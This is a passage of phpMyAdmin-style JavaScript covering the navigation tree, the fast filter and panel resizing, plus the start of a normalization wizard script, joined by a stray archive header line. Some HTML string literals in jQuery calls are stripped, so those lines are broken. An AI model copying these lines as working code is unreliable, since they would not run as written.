before page refresh Navigation.reload(Navigation.filterStateRestore, JSON.parse(storage.navTreePaths)); } else { // If the user is different Navigation.treeStateUpdate(); Navigation.reload(); } } }); /** * Expands a node in navigation tree. * * @param $expandElem expander * @param callback callback function * * @return {void} */ Navigation.expandTreeNode = function ($expandElem, callback) { var $children = $expandElem.closest('li').children('div.list_container'); var $icon = $expandElem.find('img'); if ($expandElem.hasClass('loaded')) { if ($icon.is('.ic_b_plus')) { $icon.removeClass('ic_b_plus').addClass('ic_b_minus'); $children.slideDown('fast'); } if (callback && typeof callback === 'function') { callback.call(); } $children.promise().done(Navigation.treeStateUpdate); } else { var $throbber = $('#pma_navigation').find('.throbber') .first() .clone() .css({ visibility: 'visible', display: 'block' }) .on('click', false); $icon.hide(); $throbber.insertBefore($icon); Navigation.loadChildNodes(true, $expandElem, function (data) { if (typeof data !== 'undefined' && data.success === true) { var $destination = $expandElem.closest('li'); $icon.removeClass('ic_b_plus').addClass('ic_b_minus'); $children = $destination.children('div.list_container'); $children.slideDown('fast'); if ($destination.find('ul > li').length === 1) { $destination.find('ul > li') .find('a.expander.container') .trigger('click'); } if (callback && typeof callback === 'function') { callback.call(); } Navigation.showFullName($destination); } else { Functions.ajaxShowMessage(data.error, false); } $icon.show(); $throbber.remove(); $children.promise().done(Navigation.treeStateUpdate); }); } $expandElem.trigger('blur'); }; /** * Auto-scrolls the newly chosen database * * @param {object} $element The element to set to view * @param {bool} $forceToTop Whether to force scroll to top * */ Navigation.scrollToView = function ($element, $forceToTop) { Navigation.filterStateRestore(); var $container = $('#pma_navigation_tree_content'); var elemTop = $element.offset().top - $container.offset().top; var textHeight = 20; var scrollPadding = 20; // extra padding from top of bottom when scrolling to view if (elemTop < 0 || $forceToTop) { $container.stop().animate({ scrollTop: elemTop + $container.scrollTop() - scrollPadding }); } else if (elemTop + textHeight > $container.height()) { $container.stop().animate({ scrollTop: elemTop + textHeight - $container.height() + $container.scrollTop() + scrollPadding }); } }; /** * Expand the navigation and highlight the current database or table/view * * @return {void} */ Navigation.showCurrent = function () { var db = CommonParams.get('db'); var table = CommonParams.get('table'); var autoexpand = $('#pma_navigation_tree').hasClass('autoexpand'); $('#pma_navigation_tree') .find('li.selected') .removeClass('selected'); var $dbItem; if (db) { $dbItem = findLoadedItem( $('#pma_navigation_tree').find('> div'), db, 'database', !table ); if ($('#navi_db_select').length && $('option:selected', $('#navi_db_select')).length ) { if (! Navigation.selectCurrentDatabase()) { return; } // If loaded database in navigation is not same as current one if ($('#pma_navigation_tree_content').find('span.loaded_db').first().text() !== $('#navi_db_select').val() ) { Navigation.loadChildNodes(false, $('option:selected', $('#navi_db_select')), function () { handleTableOrDb(table, $('#pma_navigation_tree_content')); var $children = $('#pma_navigation_tree_content').children('div.list_container'); $children.promise().done(Navigation.treeStateUpdate); }); } else { handleTableOrDb(table, $('#pma_navigation_tree_content')); } } else if ($dbItem) { fullExpand(table, $dbItem); } } else if ($('#navi_db_select').length && $('#navi_db_select').val()) { $('#navi_db_select').val('').hide().trigger('change'); } else if (autoexpand && $('#pma_navigation_tree_content > ul > li.database').length === 1) { // automatically expand the list if there is only single database // find the name of the database var dbItemName = ''; $('#pma_navigation_tree_content > ul > li.database').children('a').each(function () { var name = $(this).text(); if (!dbItemName && name.trim()) { // if the name is not empty, it is the desired element dbItemName = name; } }); $dbItem = findLoadedItem( $('#pma_navigation_tree').find('> div'), dbItemName, 'database', !table ); fullExpand(table, $dbItem); } Navigation.showFullName($('#pma_navigation_tree')); function fullExpand (table, $dbItem) { var $expander = $dbItem.children('div').first().children('a.expander'); // if not loaded or loaded but collapsed if (! $expander.hasClass('loaded') || $expander.find('img').is('.ic_b_plus') ) { Navigation.expandTreeNode($expander, function () { handleTableOrDb(table, $dbItem); }); } else { handleTableOrDb(table, $dbItem); } } function handleTableOrDb (table, $dbItem) { if (table) { loadAndHighlightTableOrView($dbItem, table); } else { var $container = $dbItem.children('div.list_container'); var $tableContainer = $container.children('ul').children('li.tableContainer'); if ($tableContainer.length > 0) { var $expander = $tableContainer.children('div').first().children('a.expander'); $tableContainer.addClass('selected'); Navigation.expandTreeNode($expander, function () { Navigation.scrollToView($dbItem, true); }); } else { Navigation.scrollToView($dbItem, true); } } } function findLoadedItem ($container, name, clazz, doSelect) { var ret = false; $container.children('ul').children('li').each(function () { var $li = $(this); // this is a navigation group, recurse if ($li.is('.navGroup')) { var $container = $li.children('div.list_container'); var $childRet = findLoadedItem( $container, name, clazz, doSelect ); if ($childRet) { ret = $childRet; return false; } } else { // this is a real navigation item // name and class matches if (((clazz && $li.is('.' + clazz)) || ! clazz) && $li.children('a').text() === name) { if (doSelect) { $li.addClass('selected'); } // traverse up and expand and parent navigation groups $li.parents('.navGroup').each(function () { var $cont = $(this).children('div.list_container'); if (! $cont.is(':visible')) { $(this) .children('div').first() .children('a.expander') .trigger('click'); } }); ret = $li; return false; } } }); return ret; } function loadAndHighlightTableOrView ($dbItem, itemName) { var $container = $dbItem.children('div.list_container'); var $expander; var $whichItem = isItemInContainer($container, itemName, 'li.nav_node_table, li.view'); // If item already there in some container if ($whichItem) { // get the relevant container while may also be a subcontainer var $relatedContainer = $whichItem.closest('li.subContainer').length ? $whichItem.closest('li.subContainer') : $dbItem; $whichItem = findLoadedItem( $relatedContainer.children('div.list_container'), itemName, null, true ); // Show directly showTableOrView($whichItem, $relatedContainer.children('div').first().children('a.expander')); // else if item not there, try loading once } else { var $subContainers = $dbItem.find('.subContainer'); // If there are subContainers i.e. tableContainer or viewContainer if ($subContainers.length > 0) { var $containers = []; $subContainers.each(function (index) { $containers[index] = $(this); $expander = $containers[index] .children('div').first() .children('a.expander'); if (! $expander.hasClass('loaded')) { loadAndShowTableOrView($expander, $containers[index], itemName); } }); // else if no subContainers } else { $expander = $dbItem .children('div').first() .children('a.expander'); if (! $expander.hasClass('loaded')) { loadAndShowTableOrView($expander, $dbItem, itemName); } } } } function loadAndShowTableOrView ($expander, $relatedContainer, itemName) { Navigation.loadChildNodes(true, $expander, function () { var $whichItem = findLoadedItem( $relatedContainer.children('div.list_container'), itemName, null, true ); if ($whichItem) { showTableOrView($whichItem, $expander); } }); } function showTableOrView ($whichItem, $expander) { Navigation.expandTreeNode($expander, function () { if ($whichItem) { Navigation.scrollToView($whichItem, false); } }); } function isItemInContainer ($container, name, clazz) { var $whichItem = null; var $items = $container.find(clazz); $items.each(function () { if ($(this).children('a').text() === name) { $whichItem = $(this); return false; } }); return $whichItem; } }; /** * Disable navigation panel settings * * @return {void} */ Navigation.disableSettings = function () { $('#pma_navigation_settings_icon').addClass('hide'); $('#pma_navigation_settings').remove(); }; /** * Ensure that navigation panel settings is properly setup. * If not, set it up * * @param {string} selflink * * @return {void} */ Navigation.ensureSettings = function (selflink) { $('#pma_navigation_settings_icon').removeClass('hide'); if (!$('#pma_navigation_settings').length) { var params = { getNaviSettings: true, server: CommonParams.get('server'), }; $.post('index.php?route=/navigation&ajax_request=1', params, function (data) { if (typeof data !== 'undefined' && data.success) { $('#pma_navi_settings_container').html(data.message); setupRestoreField(); setupValidation(); $('#pma_navigation_settings').find('form').attr('action', selflink); } else { Functions.ajaxShowMessage(data.error); } }); } else { $('#pma_navigation_settings').find('form').attr('action', selflink); } }; /** * Reloads the whole navigation tree while preserving its state * * @param {Function} callback the callback function * @param {object} paths stored navigation paths * * @return {void} */ Navigation.reload = function (callback, paths) { var params = { 'reload': true, 'no_debug': true, 'server': CommonParams.get('server'), }; var pathsLocal = paths || Navigation.traverseForPaths(); $.extend(params, pathsLocal); if ($('#navi_db_select').length) { params.db = CommonParams.get('db'); requestNaviReload(params); return; } requestNaviReload(params); function requestNaviReload (params) { $.post('index.php?route=/navigation&ajax_request=1', params, function (data) { if (typeof data !== 'undefined' && data.success) { $('#pma_navigation_tree').html(data.message).children('div').show(); if ($('#pma_navigation_tree').hasClass('synced')) { Navigation.selectCurrentDatabase(); Navigation.showCurrent(); } // Fire the callback, if any if (typeof callback === 'function') { callback.call(); } Navigation.treeStateUpdate(); } else { Functions.ajaxShowMessage(data.error); } }); } }; Navigation.selectCurrentDatabase = function () { var $naviDbSelect = $('#navi_db_select'); if (!$naviDbSelect.length) { return false; } if (CommonParams.get('db')) { // db selected $naviDbSelect.show(); } $naviDbSelect.val(CommonParams.get('db')); return $naviDbSelect.val() === CommonParams.get('db'); }; /** * Handles any requests to change the page in a branch of a tree * * This can be called from link click or select change event handlers * * @param {object} $this A jQuery object that points to the element that * initiated the action of changing the page * * @return {void} */ Navigation.treePagination = function ($this) { var $msgbox = Functions.ajaxShowMessage(); var isDbSelector = $this.closest('div.pageselector').is('.dbselector'); var url = 'index.php?route=/navigation'; var params = 'ajax_request=true'; if ($this[0].tagName === 'A') { params += CommonParams.get('arg_separator') + $this.getPostData(); } else { // tagName === 'SELECT' params += CommonParams.get('arg_separator') + $this.closest('form').serialize(); } var searchClause = Navigation.FastFilter.getSearchClause(); if (searchClause) { params += CommonParams.get('arg_separator') + 'searchClause=' + encodeURIComponent(searchClause); } if (isDbSelector) { params += CommonParams.get('arg_separator') + 'full=true'; } else { var searchClause2 = Navigation.FastFilter.getSearchClause2($this); if (searchClause2) { params += CommonParams.get('arg_separator') + 'searchClause2=' + encodeURIComponent(searchClause2); } } $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success) { Functions.ajaxRemoveMessage($msgbox); var val; if (isDbSelector) { val = Navigation.FastFilter.getSearchClause(); $('#pma_navigation_tree') .html(data.message) .children('div') .show(); if (val) { $('#pma_navigation_tree') .find('li.fast_filter input.searchClause') .val(val); } } else { var $parent = $this.closest('div.list_container').parent(); val = Navigation.FastFilter.getSearchClause2($this); $this.closest('div.list_container').html( $(data.message).children().show() ); if (val) { $parent.find('li.fast_filter input.searchClause').val(val); } $parent.find('span.pos2_value').first().text( $parent.find('span.pos2_value').last().text() ); $parent.find('span.pos3_value').first().text( $parent.find('span.pos3_value').last().text() ); } } else { Functions.ajaxShowMessage(data.error); Functions.handleRedirectAndReload(data); } Navigation.treeStateUpdate(); }); }; /** * ResizeHandler Custom object that manages the resizing of the navigation * * XXX: Must only be ever instanciated once * XXX: Inside event handlers the 'this' object is accessed as 'event.data.resize_handler' */ Navigation.ResizeHandler = function () { /** * @var {number} panelWidth Used by the collapser to know where to go * back to when uncollapsing the panel */ this.panelWidth = 0; /** * @var {string} left Used to provide support for RTL languages */ this.left = $('html').attr('dir') === 'ltr' ? 'left' : 'right'; /** * Adjusts the width of the navigation panel to the specified value * * @param {number} position Navigation width in pixels * * @return {void} */ this.setWidth = function (position) { var pos = position; if (typeof pos !== 'number') { pos = 240; } var $resizer = $('#pma_navigation_resizer'); var resizerWidth = $resizer.width(); var $collapser = $('#pma_navigation_collapser'); var windowWidth = $(window).width(); $('#pma_navigation').width(pos); $('body').css('margin-' + this.left, pos + 'px'); // Issue #15127 : Adding fixed positioning to menubar // Issue #15570 : Panels on homescreen go underneath of floating menubar $('#floating_menubar') .css('margin-' + this.left, $('#pma_navigation').width() + $('#pma_navigation_resizer').width()) .css(this.left, 0) .css({ 'position': 'fixed', 'top': 0, 'width': '100%', 'z-index': 99 }) .append($('#server-breadcrumb')) .append($('#topmenucontainer')); // Allow the DOM to render, then adjust the padding on the body setTimeout(function () { $('body').css( 'padding-top', $('#floating_menubar').outerHeight(true) ); }, 2); $('#pma_console') .css('margin-' + this.left, (pos + resizerWidth) + 'px'); $resizer.css(this.left, pos + 'px'); if (pos === 0) { $collapser .css(this.left, pos + resizerWidth) .html(this.getSymbol(pos)) .prop('title', Messages.strShowPanel); } else if (windowWidth > 768) { $collapser .css(this.left, pos) .html(this.getSymbol(pos)) .prop('title', Messages.strHidePanel); $('#pma_navigation_resizer').css({ 'width': '3px' }); } else { $collapser .css(this.left, windowWidth - 22) .html(this.getSymbol(100)) .prop('title', Messages.strHidePanel); $('#pma_navigation').width(windowWidth); $('body').css('margin-' + this.left, '0px'); $('#pma_navigation_resizer').css({ 'width': '0px' }); } setTimeout(function () { $(window).trigger('resize'); }, 4); }; /** * Returns the horizontal position of the mouse, * relative to the outer side of the navigation panel * * @param {MouseEvent} event * * @return {number} Navigation width in pixels */ this.getPos = function (event) { var pos = event.pageX; var windowWidth = $(window).width(); var windowScroll = $(window).scrollLeft(); pos = pos - windowScroll; if (this.left !== 'left') { pos = windowWidth - event.pageX; } if (pos < 0) { pos = 0; } else if (pos + 100 >= windowWidth) { pos = windowWidth - 100; } else { this.panelWidth = 0; } return pos; }; /** * Returns the HTML code for the arrow symbol used in the collapser * * @param {number} width The width of the panel * * @return {string} */ this.getSymbol = function (width) { if (this.left === 'left') { if (width === 0) { return '→'; } else { return '←'; } } else { if (width === 0) { return '←'; } else { return '→'; } } }; /** * Event handler for initiating a resize of the panel * * @param {object} event Event data (contains a reference to Navigation.ResizeHandler) * * @return {void} */ this.mousedown = function (event) { event.preventDefault(); $(document) .on('mousemove', { 'resize_handler': event.data.resize_handler }, $.throttle(event.data.resize_handler.mousemove, 4)) .on('mouseup', { 'resize_handler': event.data.resize_handler }, event.data.resize_handler.mouseup); $('body').css('cursor', 'col-resize'); }; /** * Event handler for terminating a resize of the panel * * @param {object} event Event data (contains a reference to Navigation.ResizeHandler) * * @return {void} */ this.mouseup = function (event) { $('body').css('cursor', ''); Functions.configSet('NavigationWidth', event.data.resize_handler.getPos(event)); $('#topmenu').menuResizer('resize'); $(document) .off('mousemove') .off('mouseup'); }; /** * Event handler for updating the panel during a resize operation * * @param {object} event Event data (contains a reference to Navigation.ResizeHandler) * * @return {void} */ this.mousemove = function (event) { event.preventDefault(); if (event.data && event.data.resize_handler) { var pos = event.data.resize_handler.getPos(event); event.data.resize_handler.setWidth(pos); } }; /** * Event handler for collapsing the panel * * @param {object} event Event data (contains a reference to Navigation.ResizeHandler) * * @return {void} */ this.collapse = function (event) { event.preventDefault(); var panelWidth = event.data.resize_handler.panelWidth; var width = $('#pma_navigation').width(); if (width === 0 && panelWidth === 0) { panelWidth = 240; } Functions.configSet('NavigationWidth', panelWidth); event.data.resize_handler.setWidth(panelWidth); event.data.resize_handler.panelWidth = width; }; /** * Event handler for resizing the navigation tree height on window resize * * @return {void} */ this.treeResize = function () { var $nav = $('#pma_navigation'); var $navTree = $('#pma_navigation_tree'); var $navHeader = $('#pma_navigation_header'); var $navTreeContent = $('#pma_navigation_tree_content'); var height = ($nav.height() - $navHeader.height()); height = height > 50 ? height : 800; // keep min. height $navTree.height(height); if ($navTreeContent.length > 0) { $navTreeContent.height(height - $navTreeContent.position().top); } else { // TODO: in fast filter search response there is no #pma_navigation_tree_content, needs to be added in php $navTree.css({ 'overflow-y': 'auto' }); } // Set content bottom space because of console $('body').css('margin-bottom', $('#pma_console').height() + 'px'); }; /** * Init handlers for the tree resizers * * @return {void} */ this.treeInit = function () { const isLoadedOnMobile = $(window).width() < 768; // Hide the pma_navigation initially when loaded on mobile if (isLoadedOnMobile) { this.setWidth(0); } // Register the events for the resizer and the collapser $(document).on('mousedown', '#pma_navigation_resizer', { 'resize_handler': this }, this.mousedown); $(document).on('click', '#pma_navigation_collapser', { 'resize_handler': this }, this.collapse); // Add the correct arrow symbol to the collapser $('#pma_navigation_collapser').html(this.getSymbol($('#pma_navigation').width())); // Fix navigation tree height $(window).on('resize', this.treeResize); // need to call this now and then, browser might decide // to show/hide horizontal scrollbars depending on page content width setInterval(this.treeResize, 2000); this.treeResize(); const callbackSuccessGetConfigValue = (data) => { this.setWidth(data); $('#topmenu').menuResizer('resize'); }; // Skip mobile if (isLoadedOnMobile === false) { // Make an init using the default found value const initialResizeValue = $('#pma_navigation').data('config-navigation-width'); callbackSuccessGetConfigValue(initialResizeValue); } Functions.configGet('NavigationWidth', false, callbackSuccessGetConfigValue); }; this.treeInit(); }; /** * @var {object} FastFilter Handles the functionality that allows filtering * of the items in a branch of the navigation tree */ Navigation.FastFilter = { /** * Construct for the asynchronous fast filter functionality * * @param {object} $this A jQuery object pointing to the list container * which is the nearest parent of the fast filter * @param {string} searchClause The query string for the filter * * @return {void} */ Filter: function ($this, searchClause) { /** * @var {object} $this A jQuery object pointing to the list container * which is the nearest parent of the fast filter */ this.$this = $this; /** * @var {boolean} searchClause The query string for the filter */ this.searchClause = searchClause; /** * @var {object} $clone A clone of the original contents * of the navigation branch before * the fast filter was applied */ this.$clone = $this.clone(); /** * @var {object} xhr A reference to the ajax request that is currently running * @type {JQuery.jqXHR | null} */ this.xhr = null; /** * @var {number} timeout Used to delay the request for asynchronous search */ this.timeout = null; var $filterInput = $this.find('li.fast_filter input.searchClause'); if ($filterInput.length !== 0 && $filterInput.val() !== '' && $filterInput.val() !== $filterInput[0].defaultValue ) { this.request(); } }, /** * Gets the query string from the database fast filter form * * @return {string} */ getSearchClause: function () { var retval = ''; var $input = $('#pma_navigation_tree') .find('li.fast_filter.db_fast_filter input.searchClause'); if ($input.length && $input.val() !== $input[0].defaultValue) { retval = $input.val(); } return retval; }, /** * Gets the query string from a second level item's fast filter form * The retrieval is done by traversing the navigation tree backwards * * @param $this * * @return {string} */ getSearchClause2: function ($this) { var $filterContainer = $this.closest('div.list_container'); var $filterInput = $([]); if ($filterContainer .find('li.fast_filter:not(.db_fast_filter) input.searchClause') .length !== 0) { $filterInput = $filterContainer .find('li.fast_filter:not(.db_fast_filter) input.searchClause'); } var searchClause2 = ''; if ($filterInput.length !== 0 && $filterInput.first().val() !== $filterInput[0].defaultValue ) { searchClause2 = $filterInput.val(); } return searchClause2; }, /** * @var hash events A list of functions that are bound to DOM events * at the top of this file */ events: { focus: function () { var $obj = $(this).closest('div.list_container'); if (! $obj.data('fastFilter')) { $obj.data( 'fastFilter', new Navigation.FastFilter.Filter($obj, $(this).val()) ); } if ($(this).val() === this.defaultValue) { $(this).val(''); } else { $(this).trigger('select'); } }, blur: function () { if ($(this).val() === '') { $(this).val(this.defaultValue); } var $obj = $(this).closest('div.list_container'); if ($(this).val() === this.defaultValue && $obj.data('fastFilter')) { $obj.data('fastFilter').restore(); } }, keyup: function (event) { var $obj = $(this).closest('div.list_container'); var str = ''; if ($(this).val() !== this.defaultValue && $(this).val() !== '') { $obj.find('div.pageselector').hide(); str = $(this).val(); } /** * FIXME at the server level a value match is done while on * the client side it is a regex match. These two should be aligned */ // regex used for filtering. var regex; try { regex = new RegExp(str, 'i'); } catch (err) { return; } // this is the div that houses the items to be filtered by this filter. var outerContainer; if ($(this).closest('li.fast_filter').is('.db_fast_filter')) { outerContainer = $('#pma_navigation_tree_content'); } else { outerContainer = $obj; } // filters items that are directly under the div as well as grouped in // groups. Does not filter child items (i.e. a database search does // not filter tables) var itemFilter = function ($curr) { $curr.children('ul').children('li.navGroup').each(function () { $(this).children('div.list_container').each(function () { itemFilter($(this)); // recursive }); }); $curr.children('ul').children('li').children('a').not('.container').each(function () { if (regex.test($(this).text())) { $(this).parent().show().removeClass('hidden'); } else { $(this).parent().hide().addClass('hidden'); } }); }; itemFilter(outerContainer); // hides containers that does not have any visible children var containerFilter = function ($curr) { $curr.children('ul').children('li.navGroup').each(function () { var $group = $(this); $group.children('div.list_container').each(function () { containerFilter($(this)); // recursive }); $group.show().removeClass('hidden'); if ($group.children('div.list_container').children('ul') .children('li').not('.hidden').length === 0) { $group.hide().addClass('hidden'); } }); }; containerFilter(outerContainer); if ($(this).val() !== this.defaultValue && $(this).val() !== '') { if (! $obj.data('fastFilter')) { $obj.data( 'fastFilter', new Navigation.FastFilter.Filter($obj, $(this).val()) ); } else { if (event.keyCode === 13) { $obj.data('fastFilter').update($(this).val()); } } } else if ($obj.data('fastFilter')) { $obj.data('fastFilter').restore(true); } // update filter state var filterName; if ($(this).attr('name') === 'searchClause2') { filterName = $(this).siblings('input[name=aPath]').val(); } else { filterName = 'dbFilter'; } Navigation.filterStateUpdate(filterName, $(this).val()); }, clear: function (event) { event.stopPropagation(); // Clear the input and apply the fast filter with empty input var filter = $(this).closest('div.list_container').data('fastFilter'); if (filter) { filter.restore(); } var value = $(this).prev()[0].defaultValue; $(this).prev().val(value).trigger('keyup'); } } }; /** * Handles a change in the search clause * * @param {string} searchClause The query string for the filter * * @return {void} */ Navigation.FastFilter.Filter.prototype.update = function (searchClause) { if (this.searchClause !== searchClause) { this.searchClause = searchClause; this.request(); } }; /** * After a delay of 250mS, initiates a request to retrieve search results * Multiple calls to this function will always abort the previous request * * @return {void} */ Navigation.FastFilter.Filter.prototype.request = function () { var self = this; if (self.$this.find('li.fast_filter').find('img.throbber').length === 0) { self.$this.find('li.fast_filter').append( $('
            ').append( $('#pma_navigation_content') .find('img.throbber') .clone() .css({ visibility: 'visible', display: 'block' }) ) ); } if (self.xhr) { self.xhr.abort(); } var params = self.$this.find('> ul > li > form.fast_filter').first().serialize(); if (self.$this.find('> ul > li > form.fast_filter').first().find('input[name=searchClause]').length === 0) { var $input = $('#pma_navigation_tree').find('li.fast_filter.db_fast_filter input.searchClause'); if ($input.length && $input.val() !== $input[0].defaultValue) { params += CommonParams.get('arg_separator') + 'searchClause=' + encodeURIComponent($input.val()); } } self.xhr = $.ajax({ url: 'index.php?route=/navigation&ajax_request=1&server=' + CommonParams.get('server'), type: 'post', dataType: 'json', data: params, complete: function (jqXHR, status) { if (status !== 'abort') { var data = JSON.parse(jqXHR.responseText); self.$this.find('li.fast_filter').find('div.throbber').remove(); if (data && data.results) { self.swap.apply(self, [data.message]); } } } }); }; /** * Replaces the contents of the navigation branch with the search results * * @param {string} list The search results * * @return {void} */ Navigation.FastFilter.Filter.prototype.swap = function (list) { this.$this .html($(list).html()) .children() .show() .end() .find('li.fast_filter input.searchClause') .val(this.searchClause); this.$this.data('fastFilter', this); }; /** * Restores the navigation to the original state after the fast filter is cleared * * @param {boolean} focus Whether to also focus the input box of the fast filter * * @return {void} */ Navigation.FastFilter.Filter.prototype.restore = function (focus) { if (this.$this.children('ul').first().hasClass('search_results')) { this.$this.html(this.$clone.html()).children().show(); this.$this.data('fastFilter', this); if (focus) { this.$this.find('li.fast_filter input.searchClause').trigger('focus'); } } this.searchClause = ''; this.$this.find('div.pageselector').show(); this.$this.find('div.throbber').remove(); }; /** * Show full name when cursor hover and name not shown completely * * @param {object} $containerELem Container element * * @return {void} */ Navigation.showFullName = function ($containerELem) { $containerELem.find('.hover_show_full').on('mouseenter', function () { /** mouseenter */ var $this = $(this); var thisOffset = $this.offset(); if ($this.text() === '') { return; } var $parent = $this.parent(); if (($parent.offset().left + $parent.outerWidth()) < (thisOffset.left + $this.outerWidth())) { var $fullNameLayer = $('#full_name_layer'); if ($fullNameLayer.length === 0) { $('body').append('
            '); $('#full_name_layer').on('mouseleave', function () { /** mouseleave */ $(this).addClass('hide') .removeClass('hovering'); }).on('mouseenter', function () { /** mouseenter */ $(this).addClass('hovering'); }); $fullNameLayer = $('#full_name_layer'); } $fullNameLayer.removeClass('hide'); $fullNameLayer.css({ left: thisOffset.left, top: thisOffset.top }); $fullNameLayer.html($this.clone()); setTimeout(function () { if (! $fullNameLayer.hasClass('hovering')) { $fullNameLayer.trigger('mouseleave'); } }, 200); } }); }; normalization.js000066600000071527151724624350010021 0ustar00/** * @fileoverview events handling from normalization page * @name normalization * * @requires jQuery */ // eslint-disable-next-line no-unused-vars /* global centralColumnList:writable */ // js/functions.js /** * AJAX scripts for normalization * */ var normalizeto = '1nf'; var primaryKey; var dataParsed = null; function appendHtmlColumnsList () { $.post( 'index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'getColumns': true }, function (data) { if (data.success === true) { $('select[name=makeAtomic]').html(data.message); } } ); } function goTo3NFStep1 (newTables) { var tables = newTables; if (Object.keys(tables).length === 1) { tables = [CommonParams.get('table')]; } $.post( 'index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'server': CommonParams.get('server'), 'tables': tables, 'step': '3.1' }, function (data) { $('#page_content').find('h3').html(Messages.str3NFNormalization); $('#mainContent').find('legend').html(data.legendText); $('#mainContent').find('h4').html(data.headText); $('#mainContent').find('p').html(data.subText); $('#mainContent').find('#extra').html(data.extra); $('#extra').find('form').each(function () { var formId = $(this).attr('id'); var colName = $(this).data('colname'); $('#' + formId + ' input[value=\'' + colName + '\']').next().remove(); $('#' + formId + ' input[value=\'' + colName + '\']').remove(); }); $('#mainContent').find('#newCols').html(''); $('.tblFooters').html(''); if (data.subText !== '') { $('') .attr({ type: 'button', value: Messages.strDone, class: 'btn btn-primary' }) .on('click', function () { processDependencies('', true); }) .appendTo('.tblFooters'); } } ); } function goTo2NFStep1 () { $.post( 'index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'step': '2.1' }, function (data) { $('#page_content h3').html(Messages.str2NFNormalization); $('#mainContent legend').html(data.legendText); $('#mainContent h4').html(data.headText); $('#mainContent p').html(data.subText); $('#mainContent #extra').html(data.extra); $('#mainContent #newCols').html(''); if (data.subText !== '') { $('') .attr({ type: 'submit', value: Messages.strDone, class: 'btn btn-primary' }) .on('click', function () { processDependencies(data.primary_key); }) .appendTo('.tblFooters'); } else { if (normalizeto === '3nf') { $('#mainContent #newCols').html(Messages.strToNextStep); setTimeout(function () { goTo3NFStep1([CommonParams.get('table')]); }, 3000); } } }); } function goToFinish1NF () { if (normalizeto !== '1nf') { goTo2NFStep1(); return true; } $('#mainContent legend').html(Messages.strEndStep); $('#mainContent h4').html( '

            ' + Functions.sprintf(Messages.strFinishMsg, Functions.escapeHtml(CommonParams.get('table'))) + '

            ' ); $('#mainContent p').html(''); $('#mainContent #extra').html(''); $('#mainContent #newCols').html(''); $('.tblFooters').html(''); } // eslint-disable-next-line no-unused-vars function goToStep4 () { $.post( 'index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'step4': true }, function (data) { $('#mainContent legend').html(data.legendText); $('#mainContent h4').html(data.headText); $('#mainContent p').html(data.subText); $('#mainContent #extra').html(data.extra); $('#mainContent #newCols').html(''); $('.tblFooters').html(''); for (var pk in primaryKey) { $('#extra input[value=\'' + Functions.escapeJsString(primaryKey[pk]) + '\']').attr('disabled','disabled'); } } ); } function goToStep3 () { $.post( 'index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'step3': true }, function (data) { $('#mainContent legend').html(data.legendText); $('#mainContent h4').html(data.headText); $('#mainContent p').html(data.subText); $('#mainContent #extra').html(data.extra); $('#mainContent #newCols').html(''); $('.tblFooters').html(''); primaryKey = JSON.parse(data.primary_key); for (var pk in primaryKey) { $('#extra input[value=\'' + Functions.escapeJsString(primaryKey[pk]) + '\']').attr('disabled','disabled'); } } ); } function goToStep2 (extra) { $.post( 'index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'step2': true }, function (data) { $('#mainContent legend').html(data.legendText); $('#mainContent h4').html(data.headText); $('#mainContent p').html(data.subText); $('#mainContent #extra,#mainContent #newCols').html(''); $('.tblFooters').html(''); if (data.hasPrimaryKey === '1') { if (extra === 'goToStep3') { $('#mainContent h4').html(Messages.strPrimaryKeyAdded); $('#mainContent p').html(Messages.strToNextStep); } if (extra === 'goToFinish1NF') { goToFinish1NF(); } else { setTimeout(function () { goToStep3(); }, 3000); } } else { // form to select columns to make primary $('#mainContent #extra').html(data.extra); } } ); } function goTo2NFFinish (pd) { var tables = {}; for (var dependson in pd) { tables[dependson] = $('#extra input[name="' + dependson + '"]').val(); } var datastring = { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'pd': JSON.stringify(pd), 'newTablesName':JSON.stringify(tables), 'createNewTables2NF':1 }; $.ajax({ type: 'POST', url: 'index.php?route=/normalization', data: datastring, async:false, success: function (data) { if (data.success === true) { if (data.queryError === false) { if (normalizeto === '3nf') { $('#pma_navigation_reload').trigger('click'); goTo3NFStep1(tables); return true; } $('#mainContent legend').html(data.legendText); $('#mainContent h4').html(data.headText); $('#mainContent p').html(''); $('#mainContent #extra').html(''); $('.tblFooters').html(''); } else { Functions.ajaxShowMessage(data.extra, false); } $('#pma_navigation_reload').trigger('click'); } else { Functions.ajaxShowMessage(data.error, false); } } }); } function goTo3NFFinish (newTables) { for (var table in newTables) { for (var newtbl in newTables[table]) { var updatedname = $('#extra input[name="' + newtbl + '"]').val(); newTables[table][updatedname] = newTables[table][newtbl]; if (updatedname !== newtbl) { delete newTables[table][newtbl]; } } } var datastring = { 'ajax_request': true, 'db': CommonParams.get('db'), 'server': CommonParams.get('server'), 'newTables':JSON.stringify(newTables), 'createNewTables3NF':1 }; $.ajax({ type: 'POST', url: 'index.php?route=/normalization', data: datastring, async:false, success: function (data) { if (data.success === true) { if (data.queryError === false) { $('#mainContent legend').html(data.legendText); $('#mainContent h4').html(data.headText); $('#mainContent p').html(''); $('#mainContent #extra').html(''); $('.tblFooters').html(''); } else { Functions.ajaxShowMessage(data.extra, false); } $('#pma_navigation_reload').trigger('click'); } else { Functions.ajaxShowMessage(data.error, false); } } }); } var backup = ''; function goTo2NFStep2 (pd, primaryKey) { $('#newCols').html(''); $('#mainContent legend').html(Messages.strStep + ' 2.2 ' + Messages.strConfirmPd); $('#mainContent h4').html(Messages.strSelectedPd); $('#mainContent p').html(Messages.strPdHintNote); var extra = '
            '; var pdFound = false; for (var dependson in pd) { if (dependson !== primaryKey) { pdFound = true; extra += '

            ' + Functions.escapeHtml(dependson) + ' -> ' + Functions.escapeHtml(pd[dependson].toString()) + '

            '; } } if (!pdFound) { extra += '

